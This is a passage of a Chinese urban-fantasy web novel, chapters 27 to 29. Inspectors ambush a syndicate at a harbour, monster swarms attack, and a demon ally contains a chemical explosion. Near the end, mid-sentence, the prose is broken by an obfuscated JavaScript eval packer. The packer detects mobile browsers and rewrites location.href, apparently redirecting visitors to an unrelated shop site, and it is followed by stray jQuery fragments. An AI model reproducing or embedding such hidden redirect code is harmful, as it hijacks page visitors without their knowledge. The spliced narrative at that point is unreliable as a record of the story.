周纬一挑眉:“引蛇出洞?” 李星路冷笑:“就看你们抓不抓得住这条蛇了。” “很好。”周纬满意地点头道:“李大律师不愧是精英人杰,这么快就看清形势倒戈投降了,吾心甚慰。” 他漫不经心地转回了原地,重新坐回了那张椅子上,翘起二郎腿,赫然恢复到了他刚走进这间病房时的那个姿势,对着李星路露齿一笑。 “既然你这么聪明,那我就放心了。”他道:“来吧,李大律师。你具体有什么高见,说来听听吧。” 27. 惊变 珑湖市东面临海,湾多水深,贸易繁荣,自上世纪开放以来就是全国名列前茅的港口城市。沿海一线除了那些常年吞吐量在千万吨级以上的大型商港,还零星分布着各种渔船或散货码头,专供小型货船、驳船挂靠。 新莲码头就是其中之一。 凌晨十二点,李星路裹了裹遮脸的围巾,压低帽檐,一脚踏碎了码头上的寒风。 这里就是他跟所谓“上线”约定好的地点了。 李星路的计划很简单。他虽然也没有见过自己的“上线”,但组织上的人都是通过秘法单线联系,别人无法冒充模仿。只要允许他与“上线”联络,对方便能确认他的身份,到时候他与“上线”约定好一处见面地点,对方一露面,异监局便冲上去抓人即可。至于人抓到了之后还能不能从对方嘴里撬出什么东西,李星路就管不着了。 而周纬听说这个计划,第一反应是——这不扯淡吗? 一个组织里的人,多年以来一直保持着线上单线联系,从来没出过岔子;结果有朝一日下线失踪,几天后突然出现要求见面,这不摆明了有问题? 那个“上线”会有那么蠢,连这种圈套都看不出来? 然而李星路对此报以冷笑。 “要是上线不来,那就与我无关了,反正我已经尽力配合过你们了。”李星路乜斜道:“周队你自己运气不好,不会也要怪到我头上吧?” 周纬一眼不眨地盯着他看了一会儿,继而突然笑了:“说得对,我还真就要怪到你头上。” 李星路:“……” 周纬微笑道:“李大律师,你可要搞清楚,若是你的上线不来,我手里可就只有你一根筹码了。到时候那可就不是我运气不好,而是你运气不好了。” 他万分和蔼地拍了拍他的肩膀,俯下身来笑得一团和气:“到时候,不管是什么“禁制”还是‘假制’,都挡不住我把你的脑袋瓜儿撬开。” 然而,此人春风满面地一握拳,给了他一个充满鼓励意味的手势:“加油哦~~” 李星路:“……” 受到了如此具有含金量的鼓励,李星路跟那“上线”联络的时候果然用上了浑身解数,也许是他果然运气够“好”,“上线”那边果然约定了今夜凌晨,在新莲码头见面。 然而对此次会面心存疑虑的还不止周纬一个人。 何昭华悄悄地摸到周纬身边,拿胳膊肘杵一杵他:“喂,你到底怎么想的?” “唔……八成有问题。”周纬虽然这么说,面色倒还算轻松自如:“我觉得对方不可能真这么蠢,看不出来李星路的这一招是个引蛇出洞的陷阱。只是对方既然敢接招,那就说明这戏还有的唱。我们现在不怕对方动,就怕对方不动。只要动,就有破绽可寻。” 此时在码头周边早已埋伏好了众多的监察员,看似平静的小港口,实则各个方位都有人把守。这次行动周纬足足调动了两个行动组,算是非常慎重了,可见周纬对那个神秘组织的警惕与戒备。 “我不是问你这个。”何昭华压低了声音:“我是问你为什么带他来。” 他朝前努了努嘴,前方远远的可以看见,李默正独自镇守在一个集装箱后侧,周围一个监察员也没有。 “哦,你说李默啊。”周纬一摆手,像是浑然不在意的样子:“加他一个呗,反正他早晚要了解我们的行动模式,早熟悉早配合。” 何昭华双眼圆睁,仿佛周纬刚当着他的面一口吞了个炸弹。 这是什么梦话?让李默跟其他外勤监察员打配合? 配合什么?如何熟练地给对方使绊子捅刀子吗? 何昭华忧虑地看着自家队长。他跟周纬虽然平时嘴上没遮没拦,心里还是对这个比他还小几岁的队长颇为信服的,这次却也不免觉得他有点过于异想天开了。之前燕鹏飞和李默在食堂起冲突这件事已经传开了,过去的几天,李默在市局的日子越发不好过。不仅是他所在的审讯室,甚至整个四楼都差不多成为了市局禁区。 没看这次行动燕鹏飞和一组组员都阴沉着脸么?就这还想让他们熟悉配合? 同样是监察员,何昭华心里当然是偏帮着自己人的,于是看着李默的目光越发不善,感觉此人多少有点不知好歹了——大家的厌恶都表达得这么明显了,你就不能知情识趣点,自己主动消失么? 没想到,李默明明是背对着他们,而且隔着足有几十米远,却像是脑后长了眼睛似的,何昭华刚一抬头,就见李默突然转身回头,远远地还给了他一个微笑。 何昭华:“……” 在心里腹诽人家却被当场抓包,何昭华顿时也有点不自在起来,有些心虚地挪开了视线,讪讪地摸了摸鼻子。 就在此时,他却蓦然听到身旁周纬道:“注意,人来了。” 何昭华心中一凛,连忙集中精神,向前望去。 新莲码头这种小型码头,不比那些日夜灯火通明的大型商港,晚上通常是不作业的。白日喧闹繁忙,到了晚上却空无一人,装卸区外围围了一层铁丝网,里面则安放了成百上千个叠放高耸的集装箱,硬生生在海边造出了一座人造迷宫。白天人多的时候还不觉得有什么,到了晚上,腥咸潮湿的海风呜呜咽咽地从货柜之间刮过,无端就营造出了一种闹鬼般的阴森。 李星路在这里等了不过十分钟,就觉得骨头缝里都已经冻透了。 就在他一边哈气跺脚一边心头火起,觉得铁定是对方失约,准备撂挑子一走了之的时候,他的身后响起了一个声音。 “李星路?” 这个冷不丁的声音差点没惊出李星路的三魂七魄,他本能地一转身,惊惧道:“谁?!” 那人道:“我是来接应你的人。” 码头上只有零星的几盏灯还亮着。借着那洒下的昏暗灯光,李星路看清了来人,心跳逐渐平复下来。只见那人个子不高,一副渔民打扮,穿着一身连体防水作业服,手上戴着橡胶手套,外面还披了层厚实的长雨衣,兜帽拉起来盖住了脸。他浑身上下裹得几乎没有一寸皮肤见光,沉沉夜幕之下,根本看不清楚是什么人,只听声音似乎是个中年男子。 李星路疑道:“你就是‘上线’?电话里似乎不是这个声音。” 对方道:“少废话,跟我来。” 他转身就走,李星路连忙赶上几步:“等等,你是不是要看一下我的灵力……” 然而对方脚步愈加迅疾,充耳不闻。 不远处,埋伏在一个集装箱之后的周纬看到这一幕,缓缓蹙眉:“不对。这人为什么不查验李星路的灵力?” 灵力这玩意儿在灵力者中就跟DNA差不多,每人都有自己独特的灵力属性,万万不存在冒充、模仿或混淆的可能。灵力者之间相互查验灵力属性是最方便的确认对方身份的方式——只是这人为什么不查? 他就这么笃定这人就是李星路无疑? 一丝疑虑在周纬脑海里划过,他隐隐觉得事情好像有什么地方不对,然而他还没将这事儿想清楚,就见前方李默像是发现了什么似的,猛地直起腰来。 于此同时,战术耳机来传来李默的声音:“周队,有问题,那人不是人类。” “什——” 周纬的眼睛倏然睁大了。 刹那间,就像一道闪电划破迷雾,无数线索在周纬脑海里交织串联、碰撞重组,撞出绚烂的火花。分析思考几乎是在无意识的情况下完成,周纬甚至还没来得及意识到自己想明白了什么,身体就已经采取了行动。他一把按住战术耳机厉喝道:“李星路,退后!” 然而,已经晚了。 就在前一秒,李星路因为无论怎么搭话对方都不理不睬,终于按捺不住,一把拉住了他的肩膀—— 他刹那间就意识到,触感不对。 手掌底下的触感冰冷坚硬,完全不像是人体。李星路心中警铃大作,条件反射地一拉他的雨衣—— 暴露出来的赫然是一只金属胳膊! 这人竟然是个金属傀儡! 李星路的瞳孔骤然紧缩,与此同时,他也看清楚自己所处的位置。 那个傀儡人不知不觉间已经将他带进了四个货柜的中间,正正好好封死了他所有去路,就在他拽掉雨衣的一刹那,四周货柜同时放出了刺眼的湛蓝亮光! 一切命运的巧合似乎都在此时重叠—— 当初周纬和李默用一张傀儡符混进了夜市,掌握了灵器黑货案的重要线索;如今李星路又被一张傀儡符诱入了陷阱。 而当初李星路为了消灭U盘证据,在盘山公路设伏袭杀周纬,用的是这种会让人暂时动弹不得的凝滞符文;现在李星路自己被人设伏袭杀,定住他的居然还是这种一模一样的凝滞符文! 真不知道是不是该说一句天理循环,报应不爽。 凝滞符文虽然定住了李星路,本身却是没有杀伤力的,那傀儡人的后手当然不止于此。就符文大亮的下一刻,四面集装箱的货柜门轰然弹开了。 黑暗中,突然睁开了无数双血红色的眼睛。 货柜内侧的四壁上,几个巨大的符文在开门的瞬间熄灭。那些符文本来起的是镇压、隐匿的作用,此刻骤然失效,货箱里面的活物顿时惊醒过来。一时间所有人的耳畔同时响起惊声尖啸,无数生物从集装箱内飞扑出来,如浪似涛无休无止,也不知总数多少,竟在码头上空聚成了一片遮天蔽月的压顶黑云! 与此同时,地面上就像点燃了一般,突然亮起了无数股“火流”。那是数不清的四足妖物从货箱内涌出,每一只都只有巴掌大小,数量却如潮水般无穷无尽,落地就骤然亮起一身火红色皮毛,四爪带火飞扑而来。那金属傀儡首当其冲被“潮水”撞倒,竟然爆出了一阵炫目火光! 一天一地,不过转眼,这小小的码头就已经被无数妖兽淹没。 周纬瞬间头皮发炸:“火鼠和翼手蝠!” 他一把按住战术耳机:“所有人,就近设置灵力屏障,全力拦截击杀出现的妖兽!一只都不能让它们跑出码头!” 火鼠和翼手蝠都不是什么很强的妖兽,整个族群甚至千八百年都很难出现一个能化形的,在妖物中属于低等中的低等,要是单个出现,随随便便一个监察员都能把它们一脚踩扁。 可这宛如兽潮一样的规模怎么回事!这是抄了多少妖兽的老巢才能凑得齐这个数量?! 周纬不是没想到,组织可能抱着同样的心思,打算把李星路钓出来灭口,以绝后患。 可灭一个人的口,用得着这么大的动静吗?! 然而此时情势已经容不得他静下心来细想其中关窍。埋伏在码头上的监察员们得令,此时已经齐齐动手,各种各样颜色的灵力宛如烟花大会般在码头四面炸开,好一个五彩斑斓眼花缭乱——然而这绚丽的场景之下,场上形势却让人心惊肉跳。那数不胜数的火鼠组成了无数火红色的“火流”,眨眼间已经“淌”进了迷宫一样的集装箱区,所到之处火光四起。监察员们跟着围追堵截,可却远远比不上这些小东西的灵活性,偶尔有一道灵力光束落入鼠群中,紧接着就是轰然一声巨响,竟然爆炸了! 这跟无数长腿会跑的C4炸药有什么区 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说罢,他深一吸口气,当空遥遥伸出右手,手背上骤然青光大放。 只听他低声斥道:“青璇。” 刹那间,一阵不可思议的清光吸引了全场的注意。 只见周纬右手高举,一个古朴的符文出现在他的手背上,随即居然离体而出,倏然射入高空。紧接着,一个放大了无数倍的青璇符文出现在码头上方,磅礴的灵力轰然汇聚,竟然在码头上无中生有地掀起了一阵灵力风暴! 霎时间所有人的脸庞都被风属性灵力照亮,翼手蝠群被狂暴的灵力乱流掀得四散飞出,青璇符文骤然放大为一道泛着青光的结界,竟然将整个码头笼罩其中! 周纬:“动手!” 所有监察员闻令而动,无数种属性的灵力光芒大放,流星倒转一样冲上高天,在半空中轰然炸开! 空中的灵力乱流刹那间更加狂暴,被青璇结界扣在当空的翼手蝠群无处可避,被轰了个正着,刹那间四分五裂,血落如雨! 周纬脸上血色骤然褪去,闷哼一声身形一晃。 “周纬!你疯了!”何昭华大吼道:“展开这么大的结界,你的灵力撑得住吗?!” 要展开一个能笼罩整个码头的灵力结界,所需灵力何止海量,这哪里是人身能承受得了的!经脉非得爆开不可! 更何况此刻所有监察员们正在全力攻击半空中的翼手蝠群,可翼手蝠又不是不会动的死靶子,各种灵力攻击总有落空的,那些打空的攻击、灵力碰撞的余波轰击在青璇结界上,无一例外全都会反馈给周纬,他相当于在以一己之力替全场承伤,这样下去能撑多久? 何昭华目眦欲裂:“你找死也不是这么个找法!” “我没想找死。”周纬哑声道。 他从怀里掏出一个小瓶,空着的左手屈指弹开瓶盖,在何昭华肝胆欲裂的目光里一仰头,把满满一瓶灵砂一滴不剩地灌了下去。 一层青色的火焰骤然从他身上升腾而起,他衣袍猎猎,整个人像是要融化在那朦胧而灼目的火焰里。 “我最多撑五分钟。”周纬缓缓闭上眼睛:“不想让我真的死……你们最好快点。” 与此同时,珑湖市区的某处城市公园中。 “你的分身,都已经召集回来了吗?” 一个声音突然响起,吓了薛青青一跳。 她豁然回头。 只见身后的一棵高树上,坐着一个男人。 明月高悬,嶙峋的老树枝干宛如一副笔锋枯瘦的水墨画。那男人就坐在一根突出的长枝上,他有着一张俊美到妖异的脸,双目狭长,甚至显得有些阴柔。长长的红色头发垂落腰际随风飘摆,他的双手撑在枯枝上,长长的血红色指甲宛如利爪般尖锐。 就在他现身的瞬间,一股若隐若现的血腥味儿凭空出现,幽幽地飘荡在了半空中。 薛青青警惕地退后一步。 “……竟然还是这么怕我,真伤心。”那男子见状,双手捂胸做西子捧心模样,声音好生忧伤哀怨:“为什么可爱的小美人儿们都要讨厌我呢?明明我对你们这么好。” 薛青青不想跟他说话。她本来就不是什么喜欢聊天的性格,这个“好先生”又总是让她既讨厌又恐惧,她本能地想要远离他,于是转身就想逃。 “唉,别走,”“好先生”见状,赶紧道:“你不去找李默了吗?” “李默”两个字一出,薛青青立马停住了脚步,转头望着他:“李默怎么了?” “他现在在东边的新莲码头,跟一伙人打起来了哦,就是之前在夜市里袭击你的那帮人。”“好先生”笑嘻嘻地说:“你现在去,也许还赶得上见他最后一面。” 薛青青猛地瞪圆了眼睛:“他有危险?” “好先生”笑眯眯:“你这么喜欢他呀?” 薛青青:“……” 哪怕是她也能看出来,“好先生”是不会好好回答她这个问题了。于是她也不再打算废话,警惕地后退了两步,随即转身就跑,身形随即没入了旁边一棵大树之中。 “哦呀,这么容易就上钩了?”“好先生”一愣,随即立马委屈起来:“从来都没见在人家身上这么上心……” “不过算啦……” “既然不喜欢人家,那死掉也没有什么好可惜的啦……” 他笑眯眯地伸出两根带着尖利长甲的手指,凑到唇边,朝着薛青青消失的地方,遥遥印下一吻。 “再见啦,我的小藤妖……” 28. 解封 码头一侧,李默一拳轰出,拳风劲力爆散,面前的火鼠群顿时爆成一团血泥,两条货柜之间的狭长夹道骤然清空。 火鼠这种妖兽,等级再低,也感应得出在场哪个是惹不起的。所有的火鼠和翼手蝠根本就不敢往李默这个方向跑,以至于出现了一种怪现象,全场监察员都被一鼠一蝠两处夹击弄得焦头烂额,唯有李默周边一片真空,到处追着那些妖兽杀。 清完了这一块区域,李默刚想换个地方,却骤然脸色一变。 只见码头上空突然狂风大作,难以想象的灵力百川入海般磅礴汇聚,绽放出璀璨的青色光华,紧接着一枚硕大的符文在码头上空显现,遮天蔽月的青璇结界落地成型。 那狂暴涌动的分明是周纬的灵力。 李默眼神一凝,毫不犹豫地朝周纬的方向飞掠而去。 周纬此人,生平吹过的牛皮没有一万也有八千,向来都觉得“大言不惭”只是自己身上无数条闪闪发光的优良品质中微不足道的一条,从来没想过自己也有牛皮吹破了的时候——直到此刻身临险境,他觉得自己遭了报应。 狗屁的“能撑五分钟”,他连三分钟都够呛! 那绚丽的灵力光焰还在剧烈燃烧,他整个人像是披了一层极光,快要立地飞升了。那硬生生灌下去的一瓶灵砂化作惊涛骇浪一般的灵力洪流,在他浑身的经脉里汹涌澎湃、横冲直撞。他感觉自己的灵脉里涌动的不再是灵力,根本就是几十辆失控了的大运卡车——那无法控制的灵力暴流烧得他视网膜发白,全身青筋暴起,太阳穴上一根血管突突地跳,面目甚至一时有些狰狞。 他拼尽全力控制着体内灵力的流向,让它们往手背的符文处涌去,只觉得自己的右手上不知被谁钻了个口子,全身的灵力、血肉乃至精元都要从那个破洞里漏出去了—— 恍恍惚惚中,他想,几分钟了? 他看不到自己的右手正像老树皮一样寸寸开裂,裂缝顺着小臂往上蔓延,血如泉涌。 周纬忽然觉得自己变得非常轻,像是一条飘忽的风筝,一块轻盈的丝绸,被浩渺长风带着,飘飘忽忽地将要落到某个极静谧、极安逸的地方去。他的眼前出现了一个散发着绚丽光晕的洞口,只要进了那里,就能了却一切苦痛,坐享无边温柔。他不由自主地被风推着朝那个方向飘去,身边是无数低沉的絮语,那是有人在呼唤他的名字—— “周队……” “周队……” “周纬!!!” 周纬猝然睁眼,从右臂到胸腹骤然一阵撕裂般的剧痛,他顿时半边身子都失了知觉,不受控制地向前栽倒,刚好栽进某个人的怀里。 李默一把托起他,呼啸狂风吹得他发丝散乱,只听他沉声道:“收回结界。周队,你撑不住了。” 周纬周身的青色灵力光焰已经非常黯淡。他从神智溃散的边缘骤然回返,脸上一时还是不知今夕何夕的茫然,仰头看着李默的眼神几乎是空洞的。 然而紧接着,他浑身一震,骤然想起来了自己身在何处,眼睛倏然瞪大了,挣扎着就要往场内看:“情、情况……怎么样了?” 他浑身都软了,脚下站不住,身子不住地往下倒,心里却还在兀自地使劲。李默二话不说一掌制住他,手上力道铁箍似的,直接将他拦腰放倒,跟摆弄个玩偶似的将他倚靠在了一座集装箱上。 周纬自生下来恐怕还没遭遇过这种待遇,震惊了:“你……” 然后就见李默一掀衣摆,在他面前单膝跪了下来。 “交给我,我有办法。”近在咫尺的距离,青色灵力光焰照得他双眸光芒烈烈,他的声音沉静平稳:“解开灵枷。” 周纬的眼睛猛然睁大了。 然而还没等周纬开口,就听身后骤然传来一声怒吼:“不行!” 何昭华惯用的长枪不好对付这种群攻的局面,于是换上了监察员的制式灵力枪,一枪一个将几只横冲直撞的翼手蝠凌空点爆,他回身怒吼:“李默,你竟敢乘人之危!” 他以为李默是蓄谋已久,趁着周纬毫无还手之力,想逼迫他给自己解开灵枷,怒火中烧之下恨不得将李默就地碎尸万段。然而四面火鼠和翼手蝠一波接一波地涌来,他应接不暇分身乏术,百忙之中只能抽身,含怒一枪对着李默后背凌空爆射:“给我放开周队!” 李默看都不看,甩手向后一拳扫出,将那一发灵力弹当空轰爆! 剧烈的灵力波动吹得他衣袍猎猎,闪光照亮了他半面侧颊,他在呼啸风声中和明亮火光中直视着周纬的双眼,轻声道:“相信我。” 周纬无声地望向他的眼睛。 “这不是信不信的问题!”何昭华一边应付那无穷无尽的妖兽,一边还要分心回顾这边,身上也不知不觉多了几分狼狈。他怒吼道:“解封灵枷需要经过严格的审批程序,周队没有这个权限!李默,你别害他!” 他本没想到这句话会起道什么效果,没想到此话一出,李默的神情居然多了几分动摇。 然而下一秒,周纬的手指忽然弹动了两下,似乎想要抬起来。 可惜他实在是没有力气,那只右手皮开肉绽,鲜血淋漓,连古朴的灵晔珠都染上了斑驳血迹,只抬了两寸就颓然垂落。李默连忙捧起那只手,身子凑到近前,松开了自己的衣领,将周纬的手按在了自己颈侧。 周纬的血蹭在了他的脖颈和面颊上。他近在咫尺地望着面前的人,看到周纬的眼眸幽静深邃,一眼望去几乎深不见底,然而一种奇异的感觉从心底涌出,李默忽然觉得,自己读懂了他的眼神。 俊秀的青年面颊染血,眼眸沉静。 他在说:“……别让我失望。” 下一瞬,灵力注入,灵枷上突然亮起了一圈符文,隐藏其中的机括转动,随着一声轻响,李默突然浑身轻轻一震,仿佛有什么无形的束缚从身上潮水般地褪去—— “咔哒”一声,那沾着周纬鲜血的漆黑灵枷掉落在了地上。 恍若黑夜中的大潮缓缓涨起,吞没堤坝、吞没平原,吞没天地山川。磅礴的力量从沉睡中醒来,在血脉中寂静地复苏,李默下意识地握了握拳,几乎对这力量感到陌生。 于无声之处,风雷涌动。 他沉默地看了周纬一眼,起身便走。 与此同时,周纬望着他的背影,撤去了青璇结界。 接天连地的巨型屏障突然冰消雪融,半空中的青璇之印急速缩小,流星一般飞射回来,隐没入周纬的手背。汹涌灵力骤然撤回体内,一瞬间的冲击仿佛被人当胸打了一拳,周纬浑身青色光焰刹那熄灭,他一声不吭脱力栽倒,被匆匆赶来的何昭华飞扑过来接在怀里。 一切的事情似乎都在同一时间发生。 失去了束缚的翼手蝠群冲天而起,四散纷飞夺命而逃。 地上的火鼠向码头之外发起冲击,烈焰鼠潮范围骤然扩大。 一处集装箱后,周纬仰面朝天倒在何昭华怀里,却仍然拼命挣扎着支起身子来,视线死死地钉在那个黑色背影上,抓着何昭华的手无意识地爆出了青筋。 下一秒,李默的身影冲天而起。 暴烈的威压从天而降! 让人心脏巨震的一幕出现了。 以夜幕为背景,半空中狂风呼啸,似有无穷黑云朝李默身后聚集。李默的人形身影在高天之上尚显得有几分渺小,然而他背后凝聚成的兽型轮廓却是无与伦比的庞大。那是一只登天踏地的巨大妖兽,半身隐没在阴云里,全身毛发浓黑犹如水墨,长长的耳朵和尾巴随风翻飞,瞳孔中灼烧着刺目的赤金色,张开了地狱深渊似的血盆大口,仰天发出了一声惊天动地的怒吼! 刹那间,场上所有人身形一矮,竟被这沉重到有如实质的妖力压得单膝跪地! 霎时间环形声浪飓风般扫荡而出,夹杂着摧枯拉朽般的磅礴妖力,地面上的无数火鼠不堪承受威压,瞬间身体爆裂开来,而空中的翼手蝠群避无可避地当头迎上这毁灭性的一击,当场全部被震成血泥四溅如雨! 淋漓血雨当头而下,两波兽潮在这一吼中轰然泯灭。强大的冲击余波未消,疯狂扩散蔓延,海平面被骤然压低数丈,随后远远的海面上激起了几十米高的巨涛狂澜! 一时之间,万籁俱寂。 所有人一时间似乎都忘了怎么发声,只是抬头望着半空之中那个庞大的妖兽虚影,被强烈的震撼和巨大的恐惧攫住了心脏。 暴烈、强悍,横扫一切,无可匹敌。 时隔四年,A级妖类的威压终于再次出现在珑湖上空。 码头一侧,燕鹏飞单膝跪地,仰头看着高天之上,难以置信自己看到了什么。 那是跟四年前如出一辙的灭顶般的威压,是凝聚在他心底最深处的恐怖噩梦。刹那间燕鹏飞几乎感觉不到自己的呼吸,死死盯着远处高天之上那个庞大的妖兽轮廓,双目充血赤红。 他想要站起身来,想要大吼让所有人警备,想要冲上去跟那只妖兽决一死战,哪怕明知是蚍蜉撼树、有去无回—— 然而—— “轰!!!” 剧烈的爆炸声伴随着山摇地动,尘浪滚滚扩散犹如沙暴蔓延,无数砂石碎铁飞溅如雨,整个码头一角都被腾空而起的火光照亮,紧接着居然升腾起了一朵巨大的蘑菇云! 这一下连身在半空的李默都被惊动了。他骇然回头,只见码头一角突然炸了! 这码头上本来就存放着数不清的集装箱,谁也不知道里面装的究竟是什么。那铁皮外壳在火鼠的尖牙利爪之下就跟纸糊的没什么区别,不知哪个集装箱那么倒霉就被火鼠群钻透了——里面盛放的还是某种易燃易爆的化学制品! 在这片超自然力量交锋的战场上,居然发生了一次普通人类工业制品引发的大爆炸! 这一下剧烈爆炸与之前的所有动静都不可同日而语,半个码头都被火光照亮,几十米高的蘑菇直冲天际,热风夹杂着滚滚浓烟横扫而过,场上所有人全都站立不住,几十米外的监察员都被爆炸冲击波掀了出去,有几个当场就吐了血。 远处何昭华脸色煞白,紧紧抓住了周纬的手臂——如果不是周纬及时撤回了青璇结界,光这一下爆炸的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091620|195446||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 威力就足以要了他的命。 然而周纬猛然挣扎起来,他本来已经脱力的身体不知从哪儿又来的一股力气,一发力竟然把自己撑了起来,一把摁住战术耳机,撕心裂肺地吼道:“小心连环爆炸——” 话音未落,那道蘑菇云里再次亮起了明烈火光! 刹那间,所有人心头都涌起了一个念头——完了。 需要走海运的都是大宗货物,一条跨国货轮运载的集装箱何止成百上千,肯定不止一个当中存放了易燃易爆物品,一旦发生连环爆炸…… 今天在场的一个都走不了,整个新莲码头都会被炸成一个巨大的天坑! 然而就在那明烈的火光将要爆发出来的前一秒—— 只见无尽黑雾骤然涌动,仿佛阴云压顶,悍烈无匹地直接冲入了爆炸云之中!那明艳灼目的火色中骤然掺炸上了一抹刺眼的黑色,卷着火光和浓烟冲天而起,形成了一道巨大的火龙卷! 李默当空落下,大手一挥,无尽黑雾悍然前扑,铺天盖地无穷无尽,竟然将整个火龙卷裹了起来! 他在强行控制爆炸能量! 这一幕简直壮美到了荒诞的程度。 火龙卷中夹杂着李默的妖力螺旋上升,那黑雾般的妖力因势利导地托着爆炸能量往高空上送。李默单膝跪在一座集装箱上,面色沉凝,火光照亮了他深邃的面颊,黑眸中一点赤金宛如流浆熔岩,风衣在身后烈烈飘摆如同战旗。 所有人都被这以一己之力硬撼天灾的场面惊呆了。 直到耳机里传来一声熟悉的怒吼:“都愣着干什么?!” 码头侧后方,周纬终于踉跄着爬了起来,冲着频道里所有人吼道:“你们身上的灵力都是摆设吗?!” 有的监察员猛然被他的吼声惊醒,下意识的抬起手来,然而手上的灵力光芒刚要绽放,却又突然凝滞在了原地。 一个念头同时在在场所有人心里升起—— “这是妖类啊……要帮忙吗?” 李默站在集装箱顶端,居高临下。他也在频道里,当然也听到了周纬那句咆哮,底下监察员们犹疑的样子也没能逃过他的眼睛。 仿佛是下意识地,他笑了一下。 他心里想的是——周纬真的是个很好的人类啊。 到了现在这个情况,他还是没有放弃让监察员们接受自己。 只是有些沟壑,注定就是难以跨越的。 李默这样想着,正准备收拢心神,专心抑制爆炸能量。然而下一秒,他眼神微动,突然察觉火龙卷中出现了第三种能量。 那是一道极微弱,却又极悍烈的金属系灵力,宛如它的主人一样,刚硬悍勇、宁折不弯。 下方地面,燕鹏飞周身灵力爆发,拼尽全力将自己的一缕灵力送进了火龙卷中,跟李默的妖力黑雾掺杂在一起,竭力消耗着火焰风暴的能量,将它往高天上送去。 金属系灵力其实在这种情况下起不到多大作用。燕鹏飞肺都要憋炸,感觉自己吃奶的的劲儿都用出来了,他狠狠踹了自己身边的监察员一脚,脸红脖子粗地吼道:“别他妈睡了!你不是冰系的吗?!” 那个监察员如梦初醒,学着他的模样举起双手,掌心冰蓝色光芒一闪。 越来越多的灵力光芒亮了起来。 李默不知不觉站起了身,单手平举维持着妖力漩涡,站在居高临下的集装箱上,他有些茫然地看着眼前这一幕。 码头上,散落各处的监察员全都站了起来,身上亮起了各色的灵力光芒。数不清的绚烂灵力流星一般划过夜空,百川归海一般汇入道火龙卷里,伴随着他的妖力黑雾一起盘旋上升,那巨大的火龙卷中掺杂了越来越多的色彩,明烈火色竟然璀璨地闪烁起来,声势浩大地往高天升去,几乎要点亮整片夜幕,乍一看上去—— 乍一看上去,竟然是美丽的。 周纬的声音再次响起,虽然是在公共频道里,却只对着李默一个人说话。 他说:“李默,靠你了。” 李默抬起手来。 他双手平托,仿佛拖着一个晶莹的琉璃莲花座般,黑雾汹涌而上,带着那团暴烈的火风直入高空,然后轰然散开。 黑雾为萼,烈焰为瓣,珑湖市的夜幕之下,盛开了一朵灼灼的火莲花。 半个天边都被照亮了,艳烈彤云好似晚霞。 所有人不约而同地仰头,看着这美到令人失语的一幕。 李默从集装箱上跃了下来,他回头看了看那高天之上的火色莲花一眼,便转身打算回去找周纬。 然而一抬头,他看到燕鹏飞正站在他的面前。 两人相对而立,沉默半晌,头顶火色灼然,映红了这两个对立无言的男人的身躯。 半晌,李默终于听到燕鹏飞开口,说了一句话。虽然那句话太轻太轻,淹没在风声、火声和周围监察员的欢呼声里,几乎就像是燕鹏飞的嘴唇无声地蠕动了一下。 但这细微的声音,还是被李默敏锐的五感捕捉到了—— 他说的是: “谢谢你。” 29. 青青 眼见着那暴烈火风在码头上空莲花一样绽开,周纬心下一松,知道这一劫算是过去了。 码头上已经是一片狼藉,四处是爆炸的坑洼、飞溅的碎石和淋漓的血迹,零星的火簇还未熄灭,监察员们还在劫后余生的冲击里惊魂未定。 大战虽已结束,却还得有人收拾残局。周纬深吸口气,定了定神,拿出自己一贯冷静果断的声调,按住战术耳机:“各组清点人数,报告伤亡情……” 可他这句话还没说完,整个人突然一个踉跄。 何昭华一直跟在他身后,不错眼珠子地盯着他,此刻见他猝然要倒,慌忙抢过来想扶住他。没想到周纬却也没有全然倒地,只是仿佛突然脱力了一瞬,紧接着就抓住了何昭华伸过来的手臂,猛一发力,硬生生又把自己撑住了。 何昭华倒吸一口凉气:“你……” 周纬全靠一只手的力量撑在他的胳膊上。他的面色煞白,嘴唇毫无血色,却反而衬得一双眼珠极黑极沉,那一身的精气神仿佛都集中到了眼睛里。他的额发和鬓角被冷汗湿透了,配上那张极白的脸和极黑的眼瞳,整个人几乎像个从水里被捞起来湿漉漉的鬼魂。 他咬着牙,轻轻朝何昭华摇了摇头,按着耳机说完了自己的那句话:“……报告伤亡情况。一组负责清扫现场,二组救治伤员,向市局汇报。” 说完了这句,他才像个电量耗尽的机器人似的,举着的手颓然垂落了下来,人虽然还站着,眼睛却已经阖上了。 何昭华一只胳膊给他撑着当拐杖,另一只揽着他肩头,一颗心揪到了搬空,焦急道:“你就不能先歇一歇——” 他的话还没说完,就被耳机里一阵凄厉急促的声音骤然打断了: “周队,请求支援!请求支援!” “我们在岸边装卸桥吊这里,这里还剩下大量火鼠,有人受伤!” “李星路还活着!” 周纬刚刚闭上的双眼猝然睁开了。 发现前来接应的“上线”是个傀儡人的第一时间,李星路就已经心中雪亮——组织这是要杀他灭口。 他已经成为了组织的弃子。 好在周纬拿他当诱饵,倒也没想真的送了他的命,在行动开始之前,周纬给了他一样东西。 那是一个玄龟甲制成的小吊坠,也是异监局之前缴获的一件灵器,使用时用灵力激发,可以在周身形成一层无坚不摧的护罩,能够抵御一定强度下任何实体与能量攻击,直到碎裂为止。 当时周纬把这件灵器给他,还十分嘲讽地阴阳了他两句,道:“前半辈子靠灵器敛财,到最后靠灵器保命,李大律师,你真该给这些妖类们磕一个。” 磕头李星路当然是不会磕的,但却一点都不耽误他拿这件灵器保命。在凝滞符文开启的前一秒,他毫不犹豫地激活了这件护身符。 紧接着集装箱门大开,火鼠潮和翼手蝠群蜂拥而出,李星路和傀儡人首当其冲地被淹没。火鼠的尖牙利爪熔金锻铁,当场就把那傀儡人吞噬得干干净净,然而李星路却靠着玄龟甲护身符逃过一劫,躲过了鼠潮的第一波冲击。 鼠潮虽然可怕,却没什么灵智,完全是凭借本能在行动,一放出来就朝着码头外狂涌,躺在集装箱门口装死的李星路反而成了“灯下黑”。之后码头上一片混战,李星路原本想借机逃脱,没想到周纬一个青璇结界当头砸下,正正好好截断了他的去路。 